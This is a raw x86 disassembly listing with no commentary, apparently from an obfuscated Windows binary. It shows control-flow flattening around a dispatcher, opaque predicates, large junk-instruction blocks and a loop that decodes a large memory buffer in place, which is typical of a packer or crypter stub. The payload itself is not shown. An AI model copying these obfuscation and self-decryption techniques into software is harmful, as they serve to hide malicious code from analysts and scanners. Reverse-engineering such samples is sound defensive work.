and ecx, 0x90880b0b
and esi, 0x6f77f4f4
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x28280331
mov ecx, eax
not ecx
and eax, 0x247f9d0c
and ecx, 0xdb8062f3
or eax, ecx
cmp eax, 0x247f9d0c
sete cl
cmp dword [0x4a3f80], 0xa
setl al
mov ah, al
or al, cl
xor ah, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
or cl, ah
mov ch, dl
xor cl, 1
xor ch, 1
and ch, ah
xor ah, 1
and dl, ah
xor ah, al
or cl, ah
or dl, ch
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x6c7ba029
cmovne esi, eax
test cl, 1
mov eax, 0x28280331
cmovne eax, esi
test dl, dl
cmove eax, esi
jmp 0x401a00
mov eax, 0x51caca15
jmp 0x401a00
mov eax, dword [ebp - 0x28]
cmp dword [eax], 0
mov eax, 0x6c4f2f9
sets byte [ebp - 0x69]
jmp 0x401a00
mov eax, 0x74c23695
jmp 0x401a00
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xaa26c23
and edx, ecx
not ecx
and ecx, 0xaa26c23
or edx, ecx
mov eax, edx
not eax
and edx, 0xa8e616f1
and eax, 0x5719e90e
or edx, eax
mov ecx, edx
xor ecx, 0xa2447ad2
xor edx, 0x5dbb852d
mov eax, edx
mov esi, ecx
or eax, 1
and edx, 0xfffffffe
and esi, 1
and ecx, 0xb1324e0
or esi, edx
mov edx, eax
and edx, 0xf4ecdb1e
or ecx, edx
mov edx, esi
not edx
and esi, 0xb1324e1
or eax, edx
and edx, 0xf4ecdb1e
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0xe2ce8773
mov ecx, eax
not ecx
and eax, 0x6e3cc5cd
and ecx, 0x91c33a32
or eax, ecx
mov ecx, eax
xor ecx, 0x4e20c589
xor eax, 0x91433202
and eax, 0xb15f3246
and ecx, 0x4ea0cdb9
or ecx, eax
mov eax, ecx
xor eax, 0xb0180000
xor ecx, 0x40008d10
and ecx, 0x4147bf56
and eax, 0xbeb840a9
or eax, ecx
mov ecx, eax
xor ecx, 0xa08000a8
xor eax, 0x1058e52
and eax, 0x1f3dce53
and ecx, 0xe0c231ac
or ecx, eax
xor ecx, 0xe0c231ac
setne cl
sete ch
cmp dword [0x4a3f80], 0xa
setl ah
setge dl
mov al, ah
mov dh, dl
xor ah, ch
or al, cl
and dh, ch
or ch, dl
xor ch, 1
xor al, 1
or al, ch
mov ch, dl
or dl, cl
inc ch
xor dl, 1
or dl, ah
and ch, cl
or dh, ch
xor dl, 1
mov ch, al
or dl, dh
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor ah, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
xor ch, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
or cl, al
xor dl, 1
xor cl, 1
or dl, ah
or cl, ch
mov ah, dl
xor dl, 1
and ah, al
xor al, 1
and dl, al
mov al, cl
or dl, ah
xor al, dl
test al, 1
mov eax, 0x65ea3f7e
cmovne esi, eax
test cl, 1
mov eax, 0xe2ce8773
jmp 0x40bb19
mov eax, 0xa57e8892
jmp 0x401a00
mov ecx, dword [0x4a3f84]
mov esi, 0x2b37df63
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xcb45ca25
and edx, 0xcb45ca25
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x132dd5ed
and edx, 0xecd22a12
or ecx, edx
mov edx, ecx
xor edx, 0xd8681fc9
xor ecx, 0x2797e036
and edx, eax
andn eax, eax, ecx
or edx, eax
xor ecx, edx
test ecx, edx
sete cl
setne ah
cmp dword [0x4a3f80], 0xa
setge dl
setl al
mov ch, dl
and ah, al
xor al, cl
xor ch, cl
and ch, dl
and dl, cl
or dl, ah
or al, ch
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor ah, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
and ah, al
xor al, 1
and cl, al
or cl, ah
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x17a08dbe
cmovne eax, esi
test cl, cl
mov ecx, 0x17a08dbe
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401a00
cmp dword [ebp - 0x1a8], 0
mov eax, 0x8584fedd
mov ecx, 0xb00ec741
cmove eax, ecx
jmp 0x401a00
mov eax, 0x171c12a8
jmp 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0x66482177
mov edi, edx
mov esi, ecx
and esi, 0x610c0b44
and edi, 0x98b3d488
and edx, 0x28112f0c
or edi, esi
mov esi, eax
xor esi, 0x99b7de88
and esi, eax
and eax, 0xd7eed0f3
mov ebx, esi
not ebx
and esi, 0x9ef3f4bb
or eax, edx
or ecx, ebx
and ebx, 0x610c0b44
mov edx, eax
xor eax, 0x28112f0c
xor edx, 0xd7eed0f3
or esi, ebx
not ecx
xor esi, edi
mov edi, 0x3b4ccf95
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x58d518c2
and esi, 0xa72ae73d
or ecx, esi
mov esi, ecx
xor esi, 0xc162c64b
xor ecx, 0x3e9d39b4
and eax, esi
and edx, ecx
mov esi, 0x3b4ccf95
or eax, edx
xor ecx, eax
test ecx, eax
sete ah
setne ch
cmp dword [0x4a3f80], 0xa
setl dl
setge cl
mov al, dl
and ah, cl
and dl, ch
or dl, ah
mov ah, cl
or cl, ch
xor al, ch
xor ah, ch
xor cl, 1
mov ch, al
or cl, ah
xor cl, 1
or cl, dl
xor ch, cl
or cl, al
mov eax, ecx
xor al, ch
test al, 1
mov eax, 0xd63bab74
cmovne esi, eax
test ch, 1
mov eax, esi
cmovne eax, edi
test cl, 1
cmovne eax, esi
jmp 0x401a00
mov eax, dword [ebp - 0x20]
mov eax, 0x6b8c37e
jmp 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x214166a2
and ecx, 0xdebe995d
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xd608804c
xor ecx, 0x214166a2
xor eax, 0x214166a3
and eax, ecx
and edx, 0xd608a64c
and ecx, 0x29f759b3
or ecx, edx
xor ecx, 0x29f759b2
or ecx, eax
mov esi, ecx
mov edx, ecx
xor edx, 0x65f2c836
mov eax, ecx
not esi
or eax, 0x9a0d37c9
and edx, ecx
mov ecx, eax
and ecx, 0xa2c0c09b
and esi, 0x45320824
or esi, ecx
mov ecx, edx
not ecx
and edx, 0x5d3f3f64
or eax, ecx
and ecx, 0xa2c0c09b
or edx, ecx
not eax
xor edx, esi
mov esi, 0x1d8e45d7
or eax, edx
mov ecx, eax
not ecx
and eax, 0xa67e662
and ecx, 0xf598199d
or eax, ecx
mov ecx, eax
xor ecx, 0x42052840
xor eax, 0x9040c009
and ecx, 0x422f39e2
and eax, 0xbdd0c61d
or eax, ecx
mov ecx, eax
xor ecx, 0x2292042
xor eax, 0x90d0041c
and eax, 0xd0d61dbc
and ecx, 0x2f29e243
or ecx, eax
cmp ecx, 0x2f29e243
setne dl
cmp dword [0x4a3f80], 0xa
mov ch, dl
mov ah, dl
setl al
setge cl
or ch, al
xor ah, al
and al, dl
xor ch, 1
or al, ch
mov ch, cl
or cl, dl
xor ch, dl
xor cl, 1
mov dl, ah
or cl, ch
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
mov ch, dl
or dl, cl
xor ch, cl
mov cl, al
xor dl, 1
xor cl, ah
or ah, al
or dl, ch
xor ah, 1
xor dl, al
or ah, cl
mov cl, ah
xor cl, dl
test ah, 1
mov eax, 0x54f1fd60
cmovne eax, esi
test dl, 1
mov edx, 0x54f1fd60
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401a00
mov eax, 0x9c96b249
jmp 0x401a00
mov eax, 0x60bf7f9b
jmp 0x401a00
mov eax, 0xbfa0818c
jmp 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x15000007
mov esi, ecx
mov edi, ecx
or esi, 0x40227110
and edx, 0x55227117
and edi, 0x24c8820
and ecx, 0x86c737bd
or edi, edx
mov edx, eax
and esi, 0x55227117
and edx, 0xa89106c8
and eax, 0x7938c842
or edx, esi
or eax, ecx
xor edx, edi
xor eax, 0x7938c842
mov esi, edx
not esi
and edx, 0x83bc146f
and esi, 0x7c43eb90
or edx, esi
mov esi, edx
xor esi, 0xc1420912
xor edx, 0x16240220
and edx, 0x16b4e66c
and esi, 0xe94b1993
or esi, edx
xor esi, 0xe94b1993
or eax, esi
mov ecx, eax
not ecx
and eax, 0x2db5e850
and ecx, 0xd24a17af
or eax, ecx
xor eax, 0x2db5e850
setne cl
sete dl
cmp dword [0x4a3f80], 0xa
setl ch
setge al
mov ah, ch
or ch, dl
xor al, cl
xor ah, dl
and ah, ch
xor ch, 1
mov dl, ah
or al, ch
xor dl, 1
mov ecx, edx
mov ch, dl
or dl, al
and cl, ah
xor ch, cl
xor cl, 1
or cl, ah
xor cl, 1
or cl, ch
mov ch, dl
mov ah, cl
xor ah, 1
and ah, al
xor al, 1
and cl, al
or cl, ah
mov eax, 0x5dc513ae
xor ch, cl
test dl, dl
mov edx, 0x5aabd061
cmovne eax, edx
test cl, 1
cmove eax, edx
test ch, 1
mov edx, 0x5dc513ae
cmove eax, edx
jmp 0x401a00
mov eax, dword [ebp - 0x78]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
and edx, 0xc7
or eax, 0x48
bswap ebx
mov ebx, 0xd6
imul edi
imul eax
sbb esi, 0x17
or eax, 0x36
or ebx, 0x3e
bswap esi
mov esi, 0xea
dec edx
bswap edi
sub esi, 0x93
bswap esi
add edx, 0xf
not ebx
and eax, 0xe
imul esi
sub eax, 0x62
neg ebx
dec edi
inc edx
dec edi
rol esi, 0xd8
rcl edx, 0x42
rcr esi, 0xf7
ror ebx, 0xae
rol edi, 0xba
not ebx
not eax
imul edi
dec eax
imul ebx
inc eax
imul eax
inc ebx
and eax, 0x28
ror edi, 0x90
and edx, 0x44
bswap edi
rcl ebx, 0xbc
sbb edi, 0x5f
not eax
dec edi
bswap edx
inc edi
rcr ebx, 0x86
bswap edi
sbb eax, 0xa2
imul eax
neg edi
add esi, 0xbd
imul eax
neg edx
inc eax
neg esi
neg esi
ror edi, 0x4b
add ebx, 0x3e
neg edi
not ebx
rcr ebx, 0xc3
neg edx
bswap edx
rcl esi, 0xa4
not edx
not esi
mov esi, 0xe3
not edx
dec esi
not esi
inc esi
sbb ebx, 0x3f
rcr edi, 0x94
sub esi, 0x54
dec eax
mov edx, 0x6b
ror ebx, 0xc
inc ebx
or eax, 0xc0
rcr eax, 0x9d
and eax, 0x69
not eax
and esi, 0xf0
neg esi
sbb eax, 0xe3
rcr ebx, 6
not edx
dec esi
mov edi, 0x5f
rcl esi, 0xed
rcr eax, 0x86
add edx, 0x85
rcr edi, 0xe7
inc edx
sbb edi, 0x2e
sbb eax, 0xbf
or esi, 0x58
neg esi
ror ebx, 3
neg esi
sub eax, 0x29
not esi
sbb edi, 0xc4
ror edx, 0xf5
inc edi
neg esi
bswap edi
neg ebx
or esi, 0xf1
neg edi
dec esi
add ebx, 0x14
dec esi
imul esi
bswap eax
dec edx
sbb edi, 0x63
add esi, 0x60
dec esi
inc eax
bswap eax
rcl edi, 0x90
not esi
dec ebx
ror esi, 0x76
add esi, 0xbd
not ebx
rol eax, 0x10
and ebx, 0xc
dec ebx
neg edi
bswap eax
neg eax
bswap edx
dec edx
not eax
sub edx, 0xce
dec eax
sub esi, 0x5c
rcr ebx, 0xb5
neg esi
dec eax
inc edx
rcl eax, 0x1f
sub edi, 0xb0
not esi
mov edx, 0xa8
rol ebx, 0x7e
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x30], 1
mov eax, 0xfa2dd5d4
jmp 0x401a00
mov dword [ebp - 0xb8], 0
mov eax, 0xdf63d233
jmp 0x401a00
mov eax, dword [ebp - 0x1b0]
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x1622b559
and eax, 0xb41b5345
mov esi, ecx
and esi, 0xa9dd4aa6
mov edi, ecx
or edi, 0x2ce5748b
and ecx, 0x4be4acba
or edx, esi
or eax, ecx
and edi, 0x6ce5748b
mov esi, edx
xor esi, 0x12028150
xor edx, 0x68c54082
mov ecx, eax
xor ecx, 0xb41b5345
xor eax, 0x4be4acba
and edx, 0x6ce5748b
and esi, 0x931a8b74
or esi, edx
xor edi, esi
andn ecx, edi, ecx
and eax, edi
not edi
or eax, ecx
mov ecx, 0xe53ae948
xor edi, eax
test edi, eax
mov eax, 0x7a5bbf54
cmove eax, ecx
jmp 0x401a00
mov eax, 0xef8e9b66
jmp 0x401a00
mov eax, 0x862b6eb3
jmp 0x401a00
mov eax, 0xa92a17c7
jmp 0x401a00
sbb edx, 0xc1
and ebx, 0xba
rol edx, 0x86
ror ebx, 0x8e
sub ebx, 0xb6
imul ebx
or edx, 0x9f
or eax, 0xc0
sub eax, 0xeb
not edx
dec esi
rcr ebx, 0x2c
not esi
inc ebx
dec edx
imul esi
mov eax, 0x38
sub ebx, 0x9e
add ebx, 0x8a
not edx
neg ebx
bswap ebx
and eax, 0x45
or edi, 0xea
dec eax
rol edx, 0xb2
sub edx, 0xe6
rol esi, 0xd0
not edx
and eax, 0xea
or eax, 0x25
inc eax
imul edi
rcl eax, 0x83
rcr edi, 0x8d
dec esi
sub ebx, 0x81
add ebx, 0x10
sub edi, 0xcf
inc ebx
inc edi
dec eax
dec eax
not edi
add eax, 0x2e
dec eax
imul eax
rol edx, 0x74
sub eax, 0xf2
or esi, 0x82
inc eax
neg edi
and edi, 0xd8
neg eax
mov esi, 0xac
bswap edi
mov edi, 0x68
imul ebx
add edx, 0x8a
mov ebx, 0x7b
inc esi
neg eax
inc eax
or edx, 0x49
not edi
inc ebx
imul eax
rcl ebx, 0x71
neg edi
rol edi, 0x77
inc eax
imul edx
and esi, 0xe1
rol ebx, 0x80
not eax
imul esi
not eax
sbb ebx, 0xcb
bswap esi
add edx, 0xd9
not edi
or eax, 0xaa
and edx, 0xfe
mov edx, 4
rcr edi, 0x7d
not edi
dec eax
rcl eax, 0x6a
or ebx, 0x98
imul edx
bswap edi
ror edi, 0xd1
neg edx
neg edi
rcr edx, 0x3d
rol esi, 0x75
inc edi
add eax, 0xc1
not eax
bswap esi
neg edx
or edi, 0x6b
mov edx, 0x96
rcl ebx, 3
add eax, 0xb5
rcl ebx, 0x49
imul edx
rcr edi, 0x69
or ebx, 0x80
dec esi
dec edx
and edi, 0x47
bswap edx
not edx
bswap eax
rcl esi, 0x18
and edx, 6
dec eax
not edx
imul edx
not eax
dec ebx
inc esi
neg esi
bswap edi
dec edx
or edx, 0x85
sbb ebx, 0x1a
not esi
and esi, 0x35
or eax, 0x51
ror esi, 0xe3
add eax, 0x22
sbb edx, 0xb3
sub ebx, 0x66
bswap eax
neg edi
and edi, 0x58
or edi, 0xf0
imul eax
not eax
add edi, 0x4a
not eax
inc edx
imul edi
add edx, 0x6d
neg eax
ror ebx, 0x95
add esi, 0x10
inc ebx
imul esi
not edi
bswap edx
rcl edi, 0x24
not esi
dec edx
ror edi, 0x89
not edi
rcl esi, 8
mov ebx, 0x58
or edi, 0x30
inc edi
sub edx, 0xbe
rol esi, 0x1c
rcr ebx, 0x74
bswap esi
and ebx, 0x29
bswap ebx
bswap edx
sbb ebx, 0xde
inc edx
inc eax
inc edx
neg ebx
add eax, 0x16
rcr edi, 0x4d
imul ebx
neg eax
neg ebx
or ebx, 0xf5
not eax
neg eax
neg edi
add eax, 0xf4
dec esi
rcr edx, 0xdd
not esi
imul esi
inc ebx
sbb ebx, 0x3d
bswap edi
sbb esi, 0xa7
rcr eax, 0x84
rcr esi, 0xa8
mov eax, 0x3b
rol ebx, 0x11
ror ebx, 0x34
neg esi
rol eax, 0x31
inc edx
imul ebx
bswap edx
dec eax
not esi
dec esi
rcl edx, 0x86
inc esi
sbb ebx, 0x9b
bswap edx
inc edx
neg eax
sub edi, 0xf6
add edx, 0x29
sub esi, 0xf1
or eax, 0xcd
not esi
ror edi, 0x73
sub edi, 0x27
sbb eax, 0x60
or ebx, 0xc3
and ebx, 0xb0
neg eax
rcr ebx, 0xc6
not ebx
imul edi
inc ebx
not edx
inc eax
imul eax
or edx, 0x9d
ror eax, 0xc3
bswap eax
and ebx, 0x71
neg eax
imul esi
rol ebx, 0xa4
dec esi
not edx
rcl ebx, 0xff
mov edi, 0x99
sbb edx, 0x9e
mov esi, 0xe1
and edx, 0x6d
neg esi
sub eax, 0x49
bswap edx
bswap ebx
and ebx, 0x51
neg edi
imul edi
rol edx, 0x93
not ebx
sbb esi, 0x4e
inc edx
bswap edi
ror ebx, 0xb9
add edx, 0xe6
imul edi
not ebx
neg esi
neg edx
imul ebx
rcl eax, 0x29
and eax, 0x85
inc edx
neg edx
ror edx, 0xda
not ebx
or ebx, 0xa1
mov edx, 0x32
dec eax
ror edi, 0x9c
neg edx
imul esi
inc edi
rol edi, 0xa5
bswap eax
rcl edx, 0x63
rol eax, 0xe4
and esi, 0x2c
inc edx
not esi
imul eax
dec esi
ror edi, 0x15
imul ebx
inc edi
rol edi, 0xe7
bswap edi
imul eax
not eax
imul ebx
sbb edx, 0xc4
bswap edi
ror esi, 0x4e
bswap esi
imul esi
add esi, 0x21
dec edx
sbb esi, 0xb3
mov esi, 0x89
neg edx
not ebx
imul edi
neg esi
neg edx
rcl esi, 0x69
add edx, 0xaf
imul edi
sub eax, 0x52
mov eax, 0x4e
bswap ebx
imul esi
add edx, 0x97
dec esi
and edx, 0xdd
dec ebx
rcr edx, 0xdf
not esi
ror esi, 0x1c
sub edi, 0xfd
rcl esi, 0x26
or eax, 0x8a
neg eax
add edi, 0x34
and esi, 0x76
neg esi
ror ebx, 0x11
neg edx
rcr edi, 0xd2
bswap ebx
neg ebx
and ebx, 0xf8
neg edi
imul esi
not esi
inc edx
bswap edx
add ebx, 0xc8
sub esi, 0xa0
sub edx, 0xbe
imul ebx
bswap esi
not ebx
bswap edx
bswap edi
neg ebx
rol esi, 0xc3
rcr eax, 0x4d
inc edi
or eax, 0x38
bswap esi
rol eax, 0xf4
bswap eax
rol esi, 0xb9
mov esi, 0x76
sub ebx, 0xfc
not ebx
sbb esi, 0xdf
rcl ebx, 0xec
add edi, 0xf6
bswap eax
sub edi, 0xf9
rcr ebx, 0x44
rol edx, 0x14
rcl ebx, 0xc7
add ebx, 0xd1
imul ebx
rcr edi, 0xfc
add edi, 0x66
bswap eax
neg edi
add esi, 0x3e
not eax
bswap ebx
bswap esi
dec eax
rcr eax, 0x75
inc edx
sbb edi, 0x62
rcr ebx, 0x15
ror ebx, 0x9d
sbb eax, 0x95
not ebx
add edi, 0x24
rcr edi, 0xa4
mov esi, 0x58
bswap edx
rcl eax, 0x64
add eax, 0xe7
dec edi
dec eax
bswap esi
dec edi
neg ebx
mov edi, 0x3d
dec esi
dec edx
imul edi
sub esi, 0x32
or esi, 0x9e
rcr esi, 0x89
dec edx
imul esi
sbb ebx, 0xab
ror eax, 0x73
neg edx
not edi
not edx
mov edx, 0x72
sub edx, 0x5d
sbb esi, 0x16
or edi, 0xbc
sub edi, 0xcf
rcr edi, 0xe9
rol edi, 0xe1
rcr eax, 0x73
add eax, 0x86
imul ebx
imul edx
rol edx, 0xd2
rcr ebx, 0x17
inc esi
ror esi, 0xd5
and esi, 0xf3
mov esi, 0xb4
add ebx, 0x8f
inc esi
or edx, 0xea
not esi
sub ebx, 0xe2
rol ebx, 0x65
inc esi
or esi, 0xaa
rol ebx, 0xfa
mov edx, 0x18
not edx
mov eax, 8
bswap eax
bswap esi
not ebx
sub edi, 0x84
imul edx
not ebx
and ebx, 0x41
neg esi
ror esi, 0xf
ror edi, 0x81
rcr edx, 0x36
or ebx, 0xef
add edx, 0xda
neg eax
rcr edx, 0xab
neg eax
rcl ebx, 0x8f
inc esi
inc edi
not edi
add eax, 0xba
imul ebx
dec edx
add eax, 0x70
bswap esi
sbb edi, 0x27
sbb ebx, 0xcd
bswap edx
sbb edx, 0xba
sbb esi, 0xf2
or eax, 0xa9
inc edx
sub eax, 0xcc
bswap esi
ror ebx, 0xb4
imul edx
rol edx, 0xa6
ror edi, 0xf2
inc esi
imul eax
sbb edi, 0xc8
imul ebx
bswap eax
inc esi
rcl esi, 0x1c
neg edx
dec edi
imul eax
neg eax
bswap eax
rcl edi, 0x55
sub edi, 0xb7
or esi, 0x3d
imul edi
inc ebx
or ebx, 0x4d
ror edi, 0x4f
dec eax
add edx, 0x25
sbb ebx, 0xec
sbb edi, 0xc7
add ebx, 0x83
dec esi
sbb esi, 0x17
inc ebx
inc edi
dec edx
and edi, 0x2e
add edi, 0x35
ror esi, 0xaf
dec esi
not edi
add esi, 0x82
neg ebx
and edx, 0xae
bswap esi
or esi, 0xc6
imul eax
imul ebx
rcl esi, 0xc6
imul edx
or edi, 0x2a
inc edx
neg edi
bswap esi
inc esi
imul eax
imul ebx
dec edx
not eax
inc edx
dec edx
rcl eax, 0xc1
bswap eax
neg eax
sub edi, 0x87
sbb ebx, 0xb0
not eax
sub eax, 0x44
imul edx
or edx, 0x2e
or esi, 0xc4
ror eax, 0x63
imul edi
imul ebx
mov edx, 0x26
not edx
sub esi, 0xc5
sub eax, 0x26
inc ebx
rol edx, 0xbc
ror esi, 0x4d
sub edi, 0x3f
sbb esi, 0x62
rcr ebx, 0x30
dec edx
bswap edi
rol edx, 0xbc
inc eax
imul edi
not ebx
mov esi, 0x8b
sbb edi, 0xdd
sbb esi, 0xde
rcl ebx, 0xc6
rcl esi, 0x52
ror edi, 0x68
rol eax, 0xe4
and ebx, 0x38
dec edi
rcl ebx, 0x36
rcr ebx, 0x12
rol edi, 0x5f
sbb eax, 0x46
neg edi
mov esi, 0x3d
sub edi, 0x4a
mov esi, 0xf
imul edi
inc edx
dec edx
imul esi
and edi, 0xac
imul edx
dec eax
not eax
ror eax, 0x3f
imul edx
imul esi
inc eax
or eax, 0x62
rcr edi, 0xc8
neg edi
sbb edi, 0x56
neg eax
rcr eax, 0x1f
ror edi, 0x85
rcr ebx, 0xf
imul esi
rcl ebx, 0xc0
imul eax
neg edi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], 0x4ac00
mov dword [ebp - 0x18], 0x458000
not esi
add edi, 0x23
mov edi, 0xa0
add eax, 0xe0
neg eax
neg esi
and esi, 0x39
rcr edx, 0xd5
ror ebx, 0x11
or eax, 0x39
dec edx
sbb ebx, 0x9a
add ebx, 0xf6
and esi, 0x10
mov esi, 0x3c
bswap edi
dec edi
dec edx
and esi, 0x6a
inc esi
or edi, 0x5e
and ebx, 0x41
inc edx
rcl eax, 0x24
imul esi
mov ebx, 0x2d
or edx, 0x6c
imul ebx
inc eax
dec ebx
sub eax, 0x22
mov edi, 0x85
mov esi, 0xe9
bswap esi
bswap ebx
imul eax
not eax
dec edx
imul esi
inc ebx
neg ebx
not edx
rol eax, 0x12
ror edx, 0xfb
imul eax
and ebx, 3
not ebx
ror ebx, 0x6b
not ebx
rol eax, 0x60
bswap edx
neg edx
sub edi, 0x49
sbb eax, 0x16
not edx
sbb edx, 0xcf
imul esi
not ebx
sub edx, 0xc5
ror ebx, 0x2a
add edx, 0xa
bswap eax
dec edx
imul edx
inc edi
inc edx
rol eax, 0x86
rcl esi, 0xe
dec eax
and eax, 0xe6
dec ebx
dec eax
imul ebx
dec ebx
imul edx
inc ebx
rol esi, 0x91
not edi
ror eax, 0xda
sub edx, 0xf5
neg esi
mov esi, 0x19
rcr ebx, 0xda
rol edi, 0x28
and ebx, 0xb
sbb esi, 0xaf
imul eax
ror edx, 0x68
bswap eax
mov edi, 0xfd
dec edi
neg edi
rcr ebx, 0x27
or edx, 0xe
bswap edi
neg edx
not eax
ror edx, 0x22
neg eax
add esi, 0xdc
sbb esi, 0xd
and eax, 0xf4
rcl esi, 0x86
bswap ebx
sbb edi, 0xc8
sbb edi, 0x6a
inc edx
bswap eax
mov esi, 0xdb
bswap edi
sub edx, 0xd3
not edi
dec edi
or edx, 0xfa
imul eax
imul edx
add edx, 0x90
or ebx, 0x7f
inc edi
rcr edx, 0x79
sbb ebx, 0x7c
imul eax
sub edi, 0xb
imul edx
and esi, 0x10
imul edx
add eax, 0x4d
mov edx, 0x82
rol ebx, 8
sbb edi, 0xcc
rol edi, 0x5d
bswap ebx
rcl ebx, 0x2d
sbb esi, 0xdb
ror edx, 0x75
rcr esi, 0x45
rcr esi, 0x2d
bswap esi
ror esi, 0x29
bswap eax
rcr eax, 0xd
mov edi, 0x1e
sub esi, 0xb1
not edx
neg edx
add esi, 0x12
rol edx, 0xde
neg eax
ror esi, 0x5e
bswap esi
sub ebx, 0x8f
imul ebx
ror ebx, 0xe8
and esi, 0x4c
imul ebx
ror edi, 0x11
inc edx
neg eax
sbb edi, 0x23
dec eax
not eax
dec edi
ror ebx, 0xd2
bswap edx
neg edx
rol edx, 0x99
add ebx, 0x51
not edi
imul edx
rcl edi, 0xd
imul edi
neg edi
rcr eax, 0x3f
dec edi
or edx, 0xa9
and edx, 0xa9
or ebx, 0xba
dec ebx
sbb ebx, 0xb1
add ebx, 0x47
not eax
or eax, 0xaf
bswap esi
or esi, 3
bswap eax
and eax, 0x42
ror edi, 0x67
imul eax
rol esi, 0xc7
and edx, 0x98
or ebx, 0xa1
not esi
neg esi
mov eax, 0x75
sub edi, 0x7b
rcr esi, 0x92
rcl edi, 0x71
ror edi, 0xdd
mov edi, 0xcc
imul esi
add eax, 0x6b
bswap eax
bswap edi
inc ebx
sbb eax, 0xc7
bswap esi
ror ebx, 0x43
add eax, 0xf0
not edx
ror edx, 0x63
sub edx, 0x3a
and edx, 0x82
add edi, 0xcb
sub edx, 0xf9
bswap edi
imul edi
neg ebx
inc ebx
not eax
dec esi
add esi, 0x33
not edx
add ebx, 0xc8
rcr edx, 7
inc edx
or eax, 0x86
and ebx, 0x4e
neg edi
and esi, 0x95
add edx, 0xb7
and ebx, 3
not ebx
dec edi
dec eax
neg edi
neg eax
neg edx
rol edx, 0x7f
rcl esi, 0x3a
rol edx, 0xd6
rol ebx, 0x23
dec ebx
imul eax
dec esi
dec eax
ror edi, 0x90
rcl ebx, 0xe0
or edx, 0x8f
imul edi
bswap eax
mov eax, 0x4c04b529
nop dword [eax]
cmp eax, 0x5120d255
je 0x40e174
cmp eax, 0x4c04b529
jne 0x4093d0
xor ecx, ecx
xor edi, edi
mov ecx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
not byte [edi]
sub byte [edi], 0x89
add byte [edi], 0x45
imul byte [edi]
inc edi
loop 0x4093ec
mov eax, 0x5120d255
jmp 0x4093d0
mov eax, dword [ebp - 0xe4]
push dword [eax]
push dword [ebp - 0xe0]
push dword [ebp - 0xd8]
vzeroupper
call fcn.00444420
add esp, 0xc
mov eax, 0x504a9ef8
jmp 0x401a00
mov dword [ebp - 0x30], 0xa
mov eax, 0xc21b24d1
jmp 0x401a00
mov eax, 0xbf69f6a7
jmp 0x401a00
mov eax, 0x5b53c92e
jmp 0x401a00
mov eax, 0xee5e257a
jmp 0x401a00
mov eax, 0x51f241c8
jmp 0x401a00
mov eax, dword [ebp - 0x104]
mov eax, 0x2749d77d
jmp 0x401a00
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x134], eax
mov eax, 0x2bd3b381
jmp 0x401a00
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x20]
inc eax
mov dword [ecx], eax
mov eax, 0x3835a121
jmp 0x401a00
cmp byte [ebp - 0x68], 0
mov eax, 0x5dcdd8b2
mov ecx, 0x4554c66
cmovne eax, ecx
jmp 0x401a00
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x58], eax
mov eax, dword [0x4a3f84]
add dword [ebp - 0x58], 2
lea edi, [eax + 1]
imul edi, eax
mov esi, edi
not esi
mov eax, edi
and eax, 0xf2de166
or edi, 0x308e555e
mov edx, esi
and edx, 0xf0d21e99
and esi, 0x88302aa0
or edx, eax
mov eax, edx
mov ebx, edx
xor eax, 0xf0d21e99
xor ebx, 0x3fa3b438
xor edx, 0xa09a040
and ebx, eax
or eax, 1
and edx, 0xdad9aad0
mov ecx, ebx
not ecx
and ebx, 0x98326ebc
and eax, 0x2526552f
mov dword [ebp - 0x2c], ecx
and dword [ebp - 0x2c], 0x67cd9143
or ecx, edi
and edi, 0x67cd9143
or eax, edx
add ebx, dword [ebp - 0x2c]
or esi, edi
not ecx
xor esi, ebx
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x308e555f
and esi, 0xcf71aaa0
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xfb46d090
mov esi, edx
and esi, 0x4b92f6f
or ecx, esi
mov esi, eax
xor esi, 0x21065000
xor eax, 0xdad9aad0
or edx, eax
and eax, 0x4b92f6f
